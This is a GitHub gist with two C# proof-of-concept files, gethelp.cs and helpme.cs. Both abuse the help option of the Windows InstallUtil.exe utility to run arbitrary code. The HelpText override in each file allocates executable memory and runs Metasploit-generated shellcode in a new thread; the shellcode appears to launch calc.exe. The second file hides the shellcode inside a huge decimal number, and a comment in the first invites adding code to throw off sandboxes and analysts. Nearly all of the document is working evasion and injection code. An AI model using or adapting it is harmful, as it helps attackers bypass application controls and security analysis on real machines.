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clavoillotte/gethelp.cs

Created May 15, 2019 21:16
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gethelp.cs
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:gethelp.exe gethelp.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /? gethelp.exe
*/
public class Program
{
public static void Main()
{
Console.WriteLine("Hey There From Main()");
//Add any behaviour here to throw off sandbox execution/analysts :)
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
Console.WriteLine("Hello There From Uninstall");
uint a = Shellcode.Hunt();
if(a>0)
{
Console.WriteLine("Found Space\n");
Shellcode.Exec(a);
}
else
{
Console.WriteLine("Created Space");
Shellcode.Exec();
Console.ReadLine();
}
}
// Override the property 'HelpText'.
public override string HelpText
{
get
{
Shellcode.Exec();
return "Installer Description : This is a sample Installer\n"
+ "HelpText is used to provide useful information about the "
+ "installer.";
}
}
}
public class Shellcode
{
public static UInt32 Hunt()
{
long MaxAddress = 0x7fffffff;
long address = 0;
do
{
MEMORY_BASIC_INFORMATION m;
int result = VirtualQueryEx(System.Diagnostics.Process.GetCurrentProcess().Handle, (IntPtr)address, out m, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
if(m.AllocationProtect == (uint)AllocationProtect.PAGE_EXECUTE_READWRITE)
{
Console.Write("{0}\n",m.BaseAddress.ToString("X4"));
return (UInt32)m.BaseAddress;
}
if (address == (long)m.BaseAddress + (long)m.RegionSize)
break;
address = (long)m.BaseAddress + (long)m.RegionSize;
} while (address <= MaxAddress);
return 0;
}
public static void Exec()
{
// native function's compiled code
// generated with metasploit
byte[] shellcode = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
Console.ReadLine();
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
public static void Exec(UInt32 address)
{
// native function's compiled code
// generated with metasploit
byte[] shellcode = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
UInt32 funcAddr = address;
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32.dll")]
static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
//MEMORY_BASIC_INFORMATION
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
public enum AllocationProtect : uint
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
}
Raw
helpme.cs
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Numerics;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:helpme.exe helpme.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /? helpme.exe
*/
public class Program
{
public static void Main()
{
Console.WriteLine(" ");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
// Override the property 'HelpText'.
public override string HelpText
{
get
{
helperthing.Exec();
return "Installer Description : This is a sample Installer\n"
+ "HelpText is used to provide useful information about the "
+ "installer.";
}
}
}
public class helperthing
{
public static UInt32 Hunt()
{
long MaxAddress = 0x7fffffff;
long address = 0;
do
{
MEMORY_BASIC_INFORMATION m;
int result = VirtualQueryEx(System.Diagnostics.Process.GetCurrentProcess().Handle, (IntPtr)address, out m, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
if(m.AllocationProtect == (uint)AllocationProtect.PAGE_EXECUTE_READWRITE)
{
Console.Write("{0}\n",m.BaseAddress.ToString("X4"));
return (UInt32)m.BaseAddress;
}
if (address == (long)m.BaseAddress + (long)m.RegionSize)
break;
address = (long)m.BaseAddress + (long)m.RegionSize;
} while (address <= MaxAddress);
return 0;
}
public static void Exec()
{
// native function's compiled code
// generated with metasploit
string shellint = "955371524831662197453050296989540772601133427792513134757189266616055384522946738163324180769110765597779390197252391557090164718259729729840107949968192814091860765309066732520163572442380967318426462097604343630067577465125551536907969303300239618332410308575489984021791916132446542443585325310348545577443886103501655776708518417061548840435189309944433001317071515187987268591722014297211730798794902082173701662169939938524654453969311529170643230570768636";
/*
convert to huge number...
byte[] helper = {
0xFC, 0xE8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xC0, 0x64,
0x8B, 0x50, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28,
0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C,
0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF2, 0x52, 0x57, 0x8B, 0x52,
0x10, 0x8B, 0x4A, 0x3C, 0x8B, 0x4C, 0x11, 0x78, 0xE3, 0x48, 0x01, 0xD1,
0x51, 0x8B, 0x59, 0x20, 0x01, 0xD3, 0x8B, 0x49, 0x18, 0xE3, 0x3A, 0x49,
0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0xAC, 0xC1, 0xCF, 0x0D, 0x01,
0xC7, 0x38, 0xE0, 0x75, 0xF6, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75,
0xE4, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B,
0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24,
0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x5F, 0x5F, 0x5A,
0x8B, 0x12, 0xEB, 0x8D, 0x5D, 0x6A, 0x01, 0x8D, 0x85, 0xB2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5,
0xA2, 0x56, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x3C, 0x06, 0x7C,
0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
0x00, 0x53, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65,
0x00
};
BigInteger b = new BigInteger(helper);
Console.WriteLine("The value of number is {0} \n (or 0x{0:x}).", b);
Console.ReadLine();
*/
BigInteger b = BigInteger.Parse(shellint);
byte[] helper = b.ToByteArray();
UInt32 funcAddr = VirtualAlloc(0, (UInt32)helper.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(helper , 0, (IntPtr)(funcAddr), helper .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
Console.ReadLine();
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32.dll")]
static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
//MEMORY_BASIC_INFORMATION
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
public enum AllocationProtect : uint
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
}
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